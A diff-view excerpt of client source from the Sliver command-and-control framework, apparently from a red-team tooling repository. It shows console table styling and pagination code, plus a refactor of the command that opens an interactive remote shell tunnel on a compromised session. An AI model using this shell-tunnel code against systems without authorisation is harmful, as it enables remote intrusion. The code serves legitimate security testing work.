"fmt"
"strings"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/jedib0t/go-pretty/v6/text"
"golang.org/x/crypto/ssh/terminal"
)
var (
tableStyles = map[string]table.Style{
// Sliver styles
SliverDefault.Name: SliverDefault,
// Go Pretty styles
table.StyleBold.Name: table.StyleBold,
table.StyleColoredBright.Name: table.StyleColoredBright,
table.StyleLight.Name: table.StyleLight,
table.StyleColoredDark.Name: table.StyleColoredDark,
table.StyleColoredBlackOnBlueWhite.Name: table.StyleColoredBlackOnBlueWhite,
}
SliverDefault = table.Style{
Name: "SliverDefault",
Box: table.BoxStyle{
BottomLeft: " ",
BottomRight: " ",
BottomSeparator: " ",
Left: " ",
LeftSeparator: " ",
MiddleHorizontal: "=",
MiddleSeparator: " ",
MiddleVertical: " ",
PaddingLeft: " ",
PaddingRight: " ",
Right: " ",
RightSeparator: " ",
TopLeft: " ",
TopRight: " ",
TopSeparator: " ",
UnfinishedRow: "~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: false,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
sliverBordersDefault = table.Style{
Name: "SliverBordersDefault",
Box: table.BoxStyle{
BottomLeft: "+",
BottomRight: "+",
BottomSeparator: "-",
Left: "|",
LeftSeparator: "+",
MiddleHorizontal: "-",
MiddleSeparator: "+",
MiddleVertical: "|",
PaddingLeft: " ",
PaddingRight: " ",
Right: "|",
RightSeparator: "+",
TopLeft: "+",
TopRight: "+",
TopSeparator: "-",
UnfinishedRow: "~~",
},
Color: table.ColorOptions{
IndexColumn: text.Colors{},
Footer: text.Colors{},
Header: text.Colors{},
Row: text.Colors{},
RowAlternate: text.Colors{},
},
Format: table.FormatOptions{
Footer: text.FormatDefault,
Header: text.FormatTitle,
Row: text.FormatDefault,
},
Options: table.Options{
DrawBorder: true,
SeparateColumns: true,
SeparateFooter: false,
SeparateHeader: true,
SeparateRows: false,
},
}
)
// GetTableStyle - Get the current table style
func GetTableStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
if con.Settings != nil {
if value, ok := tableStyles[con.Settings.TableStyle]; ok {
return value
}
}
return tableStyles[SliverDefault.Name]
}
// GetTableWithBordersStyle - Get the table style with borders
func GetTableWithBordersStyle(con *console.SliverConsoleClient) table.Style {
if con.Settings == nil {
con.Settings, _ = assets.LoadSettings()
}
value, ok := tableStyles[con.Settings.TableStyle]
if !ok || con.Settings.TableStyle == SliverDefault.Name {
return sliverBordersDefault
}
return value
}
// GetPageSize - Page size for tables
func GetPageSize() int {
return 10
}
// PagesOf - Return the pages of a table
func PagesOf(renderedTable string) [][]string {
lines := strings.Split(renderedTable, "\n")
if len(lines) < 2 {
return [][]string{}
}
token := lines[0]
pages := [][]string{}
page := []string{token}
for _, line := range lines[1:] {
if line != token {
page = append(page, line)
} else {
pages = append(pages, page)
page = []string{token}
}
}
pages = append(pages, page)
return pages
}
// PaginateTable - Render paginated table to console
func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bool, con *console.SliverConsoleClient) {
renderedTable := tw.Render()
lineCount := strings.Count(renderedTable, "\n")
if !overflow {
// Only paginate if the number of lines is at least 2x the terminal height
width, height, err := terminal.GetSize(0)
if err == nil && 2*height < lineCount {
if 7 < height {
tw.SetPageSize(height - 6)
tw.SetAllowedRowLength(width)
} else {
tw.SetPageSize(2)
tw.SetAllowedRowLength(width)
}
renderedTable = tw.Render()
}
}
pages := PagesOf(renderedTable)
for pageNumber, page := range pages {
if pageNumber+1 < skipPages {
continue
}
for _, line := range page {
if len(line) == 0 {
continue
}
con.Printf("%s\n", line)
}
con.Println()
if interactive {
if 1 < len(pages) {
if pageNumber+1 < len(pages) {
nextPage := false
prompt := &survey.Confirm{
Message: fmt.Sprintf("[%d/%d] Continue?", pageNumber+1, len(pages)),
}
survey.AskOne(prompt, &nextPage)
if !nextPage {
break
}
con.Println()
} else {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
}
}
} else {
if 1 < len(pages) {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
}
break
}
}
}
+5 -6
View File
@@ -25,7 +25,6 @@ import (
"log"
"os"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/sliverpb"
@@ -42,18 +41,18 @@ const (
// ShellCmd - Start an interactive shell on the remote system
func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
if !settings.IsUserAnAdult(con) {
if !con.IsUserAnAdult() {
return
}
shellPath := ctx.Flags.String("shell-path")
noPty := ctx.Flags.Bool("no-pty")
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
if con.ActiveSession.Get().OS != linux && con.ActiveSession.Get().OS != darwin {
noPty = true // Sliver's PTYs are only supported on linux/darwin
}
runInteractive(ctx, shellPath, noPty, con)
@@ -62,7 +61,7 @@ func ShellCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *console.SliverConsoleClient) {
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
session := con.ActiveTarget.GetSession()
session := con.ActiveSession.Get()
if session == nil {
return
}
@@ -81,7 +80,7 @@ func runInteractive(ctx *grumble.Context, shellPath string, noPty bool, con *con
tunnel := core.Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
Request: con.ActiveTarget.Request(ctx),
Request: con.ActiveSession.Request(ctx),
Path: shellPath,
EnablePTY: !noPty,
TunnelID: tunnel.ID,
Loaded 100 of 826 files, more files were not shown because too many files have changed in this diff. Show more